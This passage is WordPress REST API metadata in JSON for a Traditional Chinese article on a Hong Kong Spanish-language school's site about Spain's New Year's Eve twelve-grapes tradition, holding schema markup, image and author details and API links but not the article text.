Academy","article_published_time":"2016-12-29T17:08:58+00:00","article_modified_time":"2025-08-06T03:21:29+00:00","og_image":[{"width":1000,"height":500,"url":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2016\/12\/12-Grapes-and-Spain-NYE-tradition.jpg","type":"image\/jpeg"}],"author":"TSA-Admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005:":"TSA-Admin"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#article","isPartOf":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/"},"author":{"name":"TSA-Admin","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#\/schema\/person\/b1d2d489aab16f413f43e5ced7a31d9e"},"headline":"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404","datePublished":"2016-12-29T17:08:58+00:00","dateModified":"2025-08-06T03:21:29+00:00","mainEntityOfPage":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/"},"wordCount":31,"publisher":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#organization"},"image":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#primaryimage"},"thumbnailUrl":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2016\/12\/12-Grapes-and-Spain-NYE-tradition.jpg","articleSection":["\u897f\u73ed\u7259\u8a9e\u5b78\u7fd2\u6280\u5de7"],"inLanguage":"zh-TW"},{"@type":"WebPage","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/","url":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/","name":"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404 - The Spanish Academy","isPartOf":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#primaryimage"},"image":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#primaryimage"},"thumbnailUrl":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2016\/12\/12-Grapes-and-Spain-NYE-tradition.jpg","datePublished":"2016-12-29T17:08:58+00:00","dateModified":"2025-08-06T03:21:29+00:00","breadcrumb":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#breadcrumb"},"inLanguage":"zh-TW","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/"]}]},{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#primaryimage","url":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2016\/12\/12-Grapes-and-Spain-NYE-tradition.jpg","contentUrl":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2016\/12\/12-Grapes-and-Spain-NYE-tradition.jpg","width":1000,"height":500},{"@type":"BreadcrumbList","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.thespanishacademy.hk\/zh-hant\/"},{"@type":"ListItem","position":2,"name":"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404"}]},{"@type":"WebSite","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#website","url":"https:\/\/www.thespanishacademy.hk\/zh-hant\/","name":"The Spanish Academy","description":"","publisher":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.thespanishacademy.hk\/zh-hant\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-TW"},{"@type":"Organization","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#organization","name":"The Spanish Academy","url":"https:\/\/www.thespanishacademy.hk\/zh-hant\/","logo":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#\/schema\/logo\/image\/","url":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2025\/07\/tsa-newlogo.svg","contentUrl":"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2025\/07\/tsa-newlogo.svg","width":288,"height":100,"caption":"The Spanish Academy"},"image":{"@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.thespanishacademy.hk\/zh-hant\/#\/schema\/person\/b1d2d489aab16f413f43e5ced7a31d9e","name":"TSA-Admin","image":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/secure.gravatar.com\/avatar\/9d254c6fbcb9c4c84102fb57cf982a2490c49e17445deedb3542e6de3f45d501?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/9d254c6fbcb9c4c84102fb57cf982a2490c49e17445deedb3542e6de3f45d501?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/9d254c6fbcb9c4c84102fb57cf982a2490c49e17445deedb3542e6de3f45d501?s=96&d=mm&r=g","caption":"TSA-Admin"},"sameAs":["https:\/\/manage.thespanishacademy.hk"],"url":"https:\/\/www.thespanishacademy.hk\/zh-hant\/author\/tsa-admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/posts\/536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/comments?post=536"}],"version-history":[{"count":0,"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/posts\/536\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/media\/983"}],"wp:attachment":[{"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/media?parent=536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/categories?post=536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.thespanishacademy.hk\/zh-hant\/wp-json\/wp\/v2\/tags?post=536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}